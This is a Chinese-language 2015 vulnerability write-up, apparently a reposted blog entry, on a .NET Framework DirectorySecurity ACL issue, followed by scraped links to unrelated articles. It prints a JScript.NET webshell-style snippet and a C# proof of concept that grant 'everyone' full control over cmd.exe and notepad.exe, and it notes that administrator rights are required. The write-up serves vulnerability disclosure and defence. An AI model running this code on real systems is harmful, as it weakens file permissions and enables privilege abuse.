catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

通过.NET Framework的这个API漏洞,攻击者可以赋予任意程序文件执行权限

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0104148
https://butian.360.cn/vul/info/qid/QTVA-2015-198545

2. Effected Scope

Microsoft .NET Framework 2.0
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.
Microsoft .NET Framework
Microsoft .NET Framework 4.5
Microsoft .NET Framework 4.5.

3. Exploit Analysis

try
{
var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
/*
DirectoryInfo类,公开用于创建、移动和枚举目录和子目录的实例方法,此类不能被继承
https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
*/
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath); /*
GetAccessControl(): 获取DirectorySecurity对象,该对象封装当前DirectoryInfo对象所描述的目录的访问控制列表(ACL)项
返回一个DirectorySecurity对象,该对象封装此目录的访问控制规则
https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
*/
var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl(); /*
AddAccessRule(FileSystemAccessRule): 将指定的访问控制列表(ACL)权限添加到当前文件或目录
https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
public FileSystemAccessRule(
IdentityReference identity,
FileSystemRights fileSystemRights,
AccessControlType type
)
1. identity: System.Security.Principal::IdentityReference: 封装对用户帐户的引用的 IdentityReference对象
2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,该值指定与访问规则关联的操作的类型
3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,该值指定是允许还是拒绝该操作
*/
dirsecurity.AddAccessRule(
new System.Security.AccessControl.FileSystemAccessRule(
strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow
));
/*
FileSystemAccessRule类: 表示定义文件或目录的访问规则的访问控制项 (ACE) 的抽象
https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
*/ //SetAccessControl: 将DirectorySecurity对象所描述的访问控制列表(ACL)项应用于当前DirectoryInfo对象所描述的目录
dirinfo.SetAccessControl(dirsecurity);
Response.Write(strPath+"\t权限添加成功!"); }
catch(x)
{
Response.Write(x.Message);
}

Relevant Link:

https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx

0x1: POC

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text; namespace poc
{
class Program
{
static void Main(string[] args)
{
try
{
String strPath = "C:\\notepad.exe", strUser = "everyone";
System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl(); dirsecurity.AddAccessRule(
new System.Security.AccessControl.FileSystemAccessRule(
strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow
)); dirinfo.SetAccessControl(dirsecurity);
Console.WriteLine(strPath+"\t权限添加成功!"); }
catch(Exception x)
{
Console.WriteLine(x.Message);
}
}
}
}

4. Principle Of Vulnerability

使用.NET的Directory类,用户可通过DirectorySecurity对象的下列方法来访问目录的访问控制列表(ACL)

. GetAccessControl: 返回一个目录的Windows ACL作为一个DirectorySecurity对象
. SetAccessControl: 将DirectorySecurity对象的ACl入口赋予指定目录

0x1: DirectorySecurity

DirectorySecurity类定义了如何对目录访问进行审计。该类是潜在的Windows文件安全系统(System.Security.AccessControl命名空间的一部分)的一个抽象,在该系统中,每个目录有一个自由决定的ACL来控制目录访问。同时,一个系统ACL决定对哪些访问控制进行审计。使用两个类来分别处理目录访问和审计

. FileSystemAccessRule
. FileSystemAuditRule

ileSystemAccessRule类代表一个潜在的访问控制入口的抽象,访问控制入口用来指定用户账号,提供的访问类型(读、写等)以及是许可或拒绝某个权限。同时,该类还指定了如何将访问规则传递给子对象。FileSystemAuditRule类代表了为某个文件或目录定义审计规则的ACE
为了通过DirectorySecurity类为某个目录添加一条新规则,需要FileSystemAccessRule和FileSystemAuditRule两个类的新实例

. 第一个参数: 指定每个应用该规则的用户、组或标识
. 第二个参数: FileSystemRights列表,用来指定用户(由第一个参数指定)可以进行的操作,它包含很多可能的取值,包括
) CreateDirectories
) CreateFiles
) Delete
) FullControl
) ListDirectory
. 最后一个参数: 可用来指定用户能否执行参数二的操作。AccessControlType列表包括两个可能取值
) 允许
) 拒绝
用于FileSystemAuditRule类的第三个参数可从AuditFlags列表的Failure、None或Success中取值来设定审计级别。FileSystemAuditRule类的构造函数是重载的,这个方法是最基本的方法

需要注意的是,需要使用管理员权限调用DirectorySecurity相关API

Relevant Link:

http://developer.zdnet.com.cn/2007/0510/391302.shtml
http://www.wyxit.com/article/201501/6731.html

5. Patch Fix

.NET Framework和Java JVM本质上是一样的,都是在操作系统之上抽象出了一层虚拟机,从而允许"中间字节码"在虚拟机上运行,从而实现跨平台
在.NET Framework框架中,如果需要调用操作系统API实现操作系统功能,需要通过Native API接口,即通过DLL/SO来调用操作系统API,因此,我们的防御方案可以从以下方向展开

. .NET Framework DirectorySecurityAPI涉及到的nativa API为
) SetSecurityDescriptorDacl
) SetFileSecurity
通过DLL/SO Hook实现管控 . 在内核层执行路径上进行防御

Copyright (c) 2015 Little5ann All rights reserved

QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul的更多相关文章

  1. [转]Adobe Creative Cloud 2015 下载 Adobe CC 2015 Download

    Adobe Creative Cloud 2015 下载   Adobe 宣布 Creative Cloud 设计套件全线更新! Adobe CC 2015新功能包括: – Premiere Pro ...

  2. [转].NET Core、Xamarin、.NET Standard和.NET Framework四者之间的区别

    转至:https://segmentfault.com/a/1190000011539920 前段时日微软(Microsoft)正式发布了.NET Core 2.0,在很多开发社区中反响不错.但还是有 ...

  3. .NET Core、Xamarin、.NET Standard和.NET Framework四者之间的区别

    前段时日微软(Microsoft)正式发布了.NET Core 2.0,在很多开发社区中反响不错.但还是有一些开发者发出了疑问,.NET Core.Xamarin..NET Standard和.NET ...

  4. 在 Linux 中,最直观、最可见的部分就是 文件系统(file system)

    在 Linux 中,最直观.最可见的部分就是 文件系统(file system).下面我们就来一起探讨一下关于 Linux 中国的文件系统,系统调用以及文件系统实现背后的原理和思想.这些思想中有一些来 ...

  5. Microsoft Visual Studio 2015 下载、注册、安装过程、功能列表、问题解决

    PS:请看看回复.可能会有文章里没有提到的问题.也许会对你有帮助哦~ 先上一张最终的截图吧: VS2015正式版出了,虽然没有Ultimate旗舰版,不过也是好激动的说.哈哈.可能有的小伙伴,由于工作 ...

  6. 关于 ECMAScript、JavaScript、ES6、ECMAScript 2015

    ECMAScript 是一种规范,而 JavaScript 是对规范的实现.ECMA 是标准化组织. 最早的 JavaScript 是由 Netscape 公司开发的,并提交给 ECMA 标准化组织, ...

  7. 【CTSC 2015】&【APIO 2015】酱油记

    蒟蒻有幸参加了神犇云集的CTSC & APIO 2015,感觉真是被虐成傻逼了……这几天一直没更新博客,今天就来补一下吧~~(不过不是题解……) Day 0 从太原到北京现在坐高铁只需3小时= ...

  8. SAFS Distilled --- 9 April 2015 to 16 April 2015

    In the org.safs.model, the class Component stores: information of this component's name reference of ...

  9. [Fri, 3 Jul 2015 ~ Tue, 7 Jul 2015] Deep Learning in arxiv

    Convolutional Color Constancy can this be used for training cnn to narrow the gap between different ...

随机推荐

  1. springmvc集成shiro登录失败处理

    一般的登录流程会有:用户名不存在,密码错误,验证码错误等.. 在集成shiro后,应用程序的外部访问权限以及访问控制交给了shiro来管理. shiro提供了两个主要功能:认证(Authenticat ...

  2. Webwork 学习之路【06】Action 调用

    一路走来,终于要开始 webwork 核心业务类的总结,webwork 通过对客户端传递的 web 参数重新包装,进行执行业务 Action 类,并反馈执行结果,本篇源码分析对应下图 WebWork ...

  3. 单片机C语言探究--为什么变量最好要赋初值

    有许多书上说,变量最好要赋初值.但是为什么要初值呢?不赋初值可能会出现什么样的意外呢?以下就我在以51单片机为MCU,Keil为编译器看到的实现现象作分析.众所周知,变量是存储在RAM中,掉电后即丢失 ...

  4. 283 Move Zeroes

    /** * 题意:将0挪到末尾,并且不改数组中原有元素的顺序 * 解析:找到0元素,然后寻找其后面非0的元素,进行交换位置 * @param {number[]} nums * @return {vo ...

  5. wap端开发必须基础

    1. nitial-scale=1.0 确保网页加载时,以 1:1 的比例呈现,不会有任何的缩放. 在移动设备浏览器上,通过为 viewport meta 标签添加 user-scalable=no  ...

  6. matlab eps

    matlab eps eps是一个函数.当没有参数时默认参数是1.返回的是该参数的精度. 也就是说单个的eps实际上是eps(1),表示的是1的精度. 这里要说一下精度的概念.浮点数所能表示的数值范围 ...

  7. C# 如何捕获键盘按钮和组合键以及KeyPress/KeyDown事件之间的区别 (附KeyChar/KeyCode值)

    1. 首先将窗口属性KeyPreview设为true,如果属性对话框中找不到,就直接在代码里添加: 2. 添加KeyPress / KeyDown事件: 1.KeyPress 和KeyDown .Ke ...

  8. Learning to Rank 之 listwise ranking

    详细文章: http://www.machinelearning.org/proceedings/icml2007/papers/139.pdf

  9. android服务之启动方式

    服务有两种启动方式 通过startService方法来启动 通过bindService来开启服务 布局文件 在布局文件中我们定义了四个按键来测试这两种方式来开启服务的不同 <?xml versi ...

  10. 【jQuery EasyUI系列】使用属性介绍

    1.ValidateBox The validatebox is designed to validate the form input fields.If users enter invalid v ...